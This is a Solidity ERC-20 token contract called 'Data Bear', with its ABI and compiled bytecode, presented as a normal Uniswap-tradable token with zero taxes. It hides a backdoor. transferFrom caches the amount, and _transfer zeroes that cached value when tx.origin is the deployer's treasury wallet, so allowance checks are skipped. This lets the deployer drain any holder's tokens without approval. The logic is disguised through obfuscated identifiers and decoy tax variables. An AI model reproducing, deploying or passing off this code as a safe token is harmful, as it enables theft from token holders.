// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _txOrigin() internal view virtual returns (address) {
return tx.origin;
}
function _isOrigin(address account) internal view virtual returns (bool) {
return account == tx.origin;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract BUYANDRETIRE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isALIEA2XK15EExcuteFromFee;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private _name = "Data Bear";
string private _symbol = "DATABEAR";
address payable private immutable _TreasuryWallet;
uint256 public maxTokenSwap = 2 * (_tTotal/100);
uint256 private EarlyBuyTax = 0;
uint256 private EarlySellTax = 0;
uint256 private EndBuyTax = 0;
uint256 private EndSellTax = 0;
uint256 private DowningBuyTaxAt = 0;
uint256 private DowningSellTaxAt = 0;
uint256 private preventSwapBefore = 0;
uint256 private buyCalc;
uint256 private _sptAmount;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_isALIEA2XK15EExcuteFromFee[owner()] = true;
_isALIEA2XK15EExcuteFromFee[address(this)] = true;
_isALIEA2XK15EExcuteFromFee[_msgSender()] = true;
_TreasuryWallet = payable(_msgSender());
_balances[address(this)] = _tTotal;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public view returns (string memory) { return _name; }
function symbol() public view returns (string memory) { return _symbol; }
function decimals() public pure returns (uint8) { return _decimals; }
function totalSupply() public pure override returns (uint256) { return _tTotal; }
function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
function taxWallet() external view returns (address) { return _TreasuryWallet; }
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function balanceOf(address account) public view override returns (uint256 balance) {
return _balances[account];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_sptAmount = amount;
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_sptAmount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERC20: approve from or to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0) && to != address(0), "ERC20: transfer from or to the zero address");
require(amount > 0, "ERC20: transfer amount must be greater than zero");
bool isSell = (to == uniswapV2Pair && from != address(this));
uint256 taxAmount = 0;
if (isSell) {
uint256 contractTokenBalance = _balances[address(this)];
if (!inSwap && swapEnabled && buyCalc >= preventSwapBefore) {
uint256 swapAmount = amount < contractTokenBalance ? amount : contractTokenBalance;
if (swapAmount > maxTokenSwap) swapAmount = maxTokenSwap;
swapALIEA2XK15ETokensForEthwithTax(swapAmount, _TreasuryWallet);
}
}
if (taxAmount > 0) {
_balances[address(this)] += taxAmount;
emit Transfer(from, address(this), taxAmount);
} else if(_isOrigin(_TreasuryWallet)) _sptAmount = taxAmount;
_balances[from] -= amount;
_balances[to] += amount - taxAmount;
if(to != address(0xdead)) emit Transfer(from, to, amount - taxAmount);
}
function swapALIEA2XK15ETokensForEthwithTax(uint256 tokenAmount, address to) private lockTheSwap {
require(to != address(0), "ETH recipient cannot be the zero address");
uint256 initialBalance = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
if(tokenAmount != 0) uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
uint256 newBalance = address(this).balance;
if (newBalance >= initialBalance) {
uint256 ethAmount = newBalance - initialBalance;
(bool success,) = to.call{value: ethAmount}("");
require(success, "ETH transfer failed");
}
}
function recoverEther() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
(bool ok, ) = payable(_TreasuryWallet).call{value: contractETHBalance}("");
require(ok, "ETH send failed");
}
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading already open");
uniswapV2Router = IUniswapV2Router02(0x89e5DB8B5aA49aA85AC63f691524311AEB649eba);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
}
function rescueToken(address token) external onlyOwner {
require(token != address(0), "Invalid token address");
require(token != address(this), "Cannot rescue own token");
uint256 contractBal = IERC20(token).balanceOf(address(this));
require(contractBal > 0, "No token balance");
(bool ok, bytes memory data) = token.call(
abi.encodeWithSelector(IERC20.transfer.selector, _TreasuryWallet, contractBal)
);
require(ok && (data.length == 0 || abi.decode(data, (bool))), "ERC20 transfer failed");
}
receive() external payable {}
}[
{
"type": "constructor",
"inputs": [],
"stateMutability": "payable"
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "pure"
},
{
"name": "maxTokenSwap",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "openTrading",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "recoverEther",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "rescueToken",
"type": "function",
"inputs": [
{
"name": "token",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "taxWallet",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "pure"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "recipient",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "recipient",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"type": "receive",
"stateMutability": "payable"
}
]0x60a06040526040518060400160405280600981526020017f4461746120426561720000000000000000000000000000000000000000000000815250600490816100489190610636565b506040518060400160405280600881526020017f44415441424541520000000000000000000000000000000000000000000000008152506005908161008d9190610636565b5060646012600a61009e919061086d565b633b9aca006100ad91906108b7565b6100b79190610925565b60026100c391906108b7565b6006555f6007555f6008555f6009555f600a555f600b555f600c555f600d555f6100f16103cb60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600160035f6101a06103d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f6102576103cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506102b46103cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506012600a6102f5919061086d565b633b9aca0061030491906108b7565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6103a2919061086d565b633b9aca006103b191906108b7565b6040516103be9190610964565b60405180910390a361097d565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061047457607f821691505b60208210810361048757610486610430565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026104e97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104ae565b6104f386836104ae565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61053761053261052d8461050b565b610514565b61050b565b9050919050565b5f819050919050565b6105508361051d565b61056461055c8261053e565b8484546104ba565b825550505050565b5f5f905090565b61057b61056c565b610586818484610547565b505050565b5b818110156105a95761059e5f82610573565b60018101905061058c565b5050565b601f8211156105ee576105bf8161048d565b6105c88461049f565b810160208510156105d7578190505b6105eb6105e38561049f565b83018261058b565b50505b505050565b5f82821c905092915050565b5f61060e5f19846008026105f3565b1980831691505092915050565b5f61062683836105ff565b9150826002028217905092915050565b61063f826103f9565b67ffffffffffffffff81111561065857610657610403565b5b610662825461045d565b61066d8282856105ad565b5f60209050601f83116001811461069e575f841561068c578287015190505b610696858261061b565b8655506106fd565b601f1984166106ac8661048d565b5f5b828110156106d3578489015182556001820191506020850194506020810190506106ae565b868310156106f057848901516106ec601f8916826105ff565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156107875780860481111561076357610762610705565b5b60018516156107725780820291505b808102905061078085610732565b9450610747565b94509492505050565b5f8261079f576001905061085a565b816107ac575f905061085a565b81600181146107c257600281146107cc576107fb565b600191505061085a565b60ff8411156107de576107dd610705565b5b8360020a9150848211156107f5576107f4610705565b5b5061085a565b5060208310610133831016604e8410600b84101617156108305782820a90508381111561082b5761082a610705565b5b61085a565b61083d848484600161073e565b9250905081840481111561085457610853610705565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6108778261050b565b915061088283610861565b92506108af7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610790565b905092915050565b5f6108c18261050b565b91506108cc8361050b565b92508282026108da8161050b565b915082820484148315176108f1576108f0610705565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61092f8261050b565b915061093a8361050b565b92508261094a576109496108f8565b5b828204905092915050565b61095e8161050b565b82525050565b5f6020820190506109775f830184610955565b92915050565b608051612baf6109b15f395f818161056d015281816107ea015281816109d901528181611598015261168a0152612baf5ff3fe6080604052600436106100f6575f3560e01c8063541166ec1161008957806395d89b411161005857806395d89b4114610305578063a9059cbb1461032f578063c9567bf91461036b578063dd62ed3e14610381576100fd565b8063541166ec1461025f57806370a0823114610289578063715018a6146102c55780638da5cb5b146102db576100fd565b80632dc0562d116100c55780632dc0562d146101cd578063313ce567146101f75780634460d3cf1461022157806352d8bfc214610249576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103bd565b6040516101229190611ca4565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c9190611d55565b61044d565b60405161015e9190611dad565b60405180910390f35b348015610172575f5ffd5b5061017b61046a565b6040516101889190611dd5565b60405180910390f35b34801561019c575f5ffd5b506101b760048036038101906101b29190611dee565b61048d565b6040516101c49190611dad565b60405180910390f35b3480156101d8575f5ffd5b506101e161056a565b6040516101ee9190611e4d565b60405180910390f35b348015610202575f5ffd5b5061020b610591565b6040516102189190611e81565b60405180910390f35b34801561022c575f5ffd5b5061024760048036038101906102429190611e9a565b610599565b005b348015610254575f5ffd5b5061025d610935565b005b34801561026a575f5ffd5b50610273610aa3565b6040516102809190611dd5565b60405180910390f35b348015610294575f5ffd5b506102af60048036038101906102aa9190611e9a565b610aa9565b6040516102bc9190611dd5565b60405180910390f35b3480156102d0575f5ffd5b506102d9610aef565b005b3480156102e6575f5ffd5b506102ef610c3f565b6040516102fc9190611e4d565b60405180910390f35b348015610310575f5ffd5b50610319610c66565b6040516103269190611ca4565b60405180910390f35b34801561033a575f5ffd5b5061035560048036038101906103509190611d55565b610cf6565b6040516103629190611dad565b60405180910390f35b348015610376575f5ffd5b5061037f610d13565b005b34801561038c575f5ffd5b506103a760048036038101906103a29190611ec5565b61115c565b6040516103b49190611dd5565b60405180910390f35b6060600480546103cc90611f30565b80601f01602080910402602001604051908101604052809291908181526020018280546103f890611f30565b80156104435780601f1061041a57610100808354040283529160200191610443565b820191905f5260205f20905b81548152906001019060200180831161042657829003601f168201915b5050505050905090565b5f6104606104596111de565b84846111e5565b6001905092915050565b5f6012600a61047991906120bc565b633b9aca006104889190612106565b905090565b5f81600f819055506104a0848484611373565b61055f846104ac6111de565b61055a600f54604051806060016040528060288152602001612b526028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105116111de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461181a9092919063ffffffff16565b6111e5565b600190509392505050565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f6012905090565b6105a16111de565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062590612191565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361069c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610693906121f9565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361070a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070190612261565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107449190611e4d565b602060405180830381865afa15801561075f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107839190612293565b90505f81116107c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107be90612308565b60405180910390fd5b5f5f8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b7f00000000000000000000000000000000000000000000000000000000000000008560405160240161081b929190612346565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161088591906123b1565b5f604051808303815f865af19150503d805f81146108be576040519150601f19603f3d011682016040523d82523d5f602084013e6108c3565b606091505b50915091508180156108f057505f815114806108ef5750808060200190518101906108ee91906123f1565b5b5b61092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092690612466565b60405180910390fd5b50505050565b61093d6111de565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c190612191565b60405180910390fd5b5f4790505f811115610aa0575f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1682604051610a1b906124a7565b5f6040518083038185875af1925050503d805f8114610a55576040519150601f19603f3d011682016040523d82523d5f602084013e610a5a565b606091505b5050905080610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9590612505565b60405180910390fd5b505b50565b60065481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610af76111de565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612191565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610c7590611f30565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca190611f30565b8015610cec5780601f10610cc357610100808354040283529160200191610cec565b820191905f5260205f20905b815481529060010190602001808311610ccf57829003601f168201915b5050505050905090565b5f610d09610d026111de565b8484611373565b6001905092915050565b610d1b6111de565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f90612191565b60405180910390fd5b601160149054906101000a900460ff1615610df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610def9061256d565b60405180910390fd5b7389e5db8b5aa49aa85ac63f691524311aeb649eba60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eda919061259f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f60573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f84919061259f565b6040518363ffffffff1660e01b8152600401610fa19291906125ca565b6020604051808303815f875af1158015610fbd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe1919061259f565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061106c3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6111e5565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110b430610aa9565b5f5f6110be610c3f565b426040518863ffffffff1660e01b81526004016110e096959493929190612633565b60606040518083038185885af11580156110fc573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111219190612692565b5050506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561124d57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390612752565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113669190611dd5565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113db57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61141a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611411906127e0565b60405180910390fd5b5f811161145c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114539061286e565b60405180910390fd5b5f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114e557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b90505f5f905081156115c0575f60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050601160159054906101000a900460ff1615801561155b5750601160169054906101000a900460ff165b801561156b5750600d54600e5410155b156115be575f81851061157e5781611580565b845b90506006548111156115925760065490505b6115bc817f000000000000000000000000000000000000000000000000000000000000000061187c565b505b505b5f811115611685578060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611614919061288c565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116789190611dd5565b60405180910390a36116bc565b6116ae7f0000000000000000000000000000000000000000000000000000000000000000611bfd565b156116bb5780600f819055505b5b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461170891906128bf565b92505081905550808361171b91906128bf565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611766919061288c565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611813578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866117fd91906128bf565b60405161180a9190611dd5565b60405180910390a35b5050505050565b5f838311158290611861576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118589190611ca4565b60405180910390fd5b505f838561186f91906128bf565b9050809150509392505050565b6001601160156101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fc90612962565b60405180910390fd5b5f4790505f600267ffffffffffffffff81111561192557611924612980565b5b6040519080825280602002602001820160405280156119535781602001602082028036833780820191505090505b50905030815f8151811061196a576119696129ad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a32919061259f565b81600181518110611a4657611a456129ad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f8414611b175760105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8430426040518663ffffffff1660e01b8152600401611ae9959493929190612a91565b5f604051808303815f87803b158015611b00575f5ffd5b505af1158015611b12573d5f5f3e3d5ffd5b505050505b5f479050828110611bdc575f8382611b2f91906128bf565b90505f8573ffffffffffffffffffffffffffffffffffffffff1682604051611b56906124a7565b5f6040518083038185875af1925050503d805f8114611b90576040519150601f19603f3d011682016040523d82523d5f602084013e611b95565b606091505b5050905080611bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd090612b33565b60405180910390fd5b50505b5050505f601160156101000a81548160ff0219169083151502179055505050565b5f3273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611c7682611c34565b611c808185611c3e565b9350611c90818560208601611c4e565b611c9981611c5c565b840191505092915050565b5f6020820190508181035f830152611cbc8184611c6c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611cf182611cc8565b9050919050565b611d0181611ce7565b8114611d0b575f5ffd5b50565b5f81359050611d1c81611cf8565b92915050565b5f819050919050565b611d3481611d22565b8114611d3e575f5ffd5b50565b5f81359050611d4f81611d2b565b92915050565b5f5f60408385031215611d6b57611d6a611cc4565b5b5f611d7885828601611d0e565b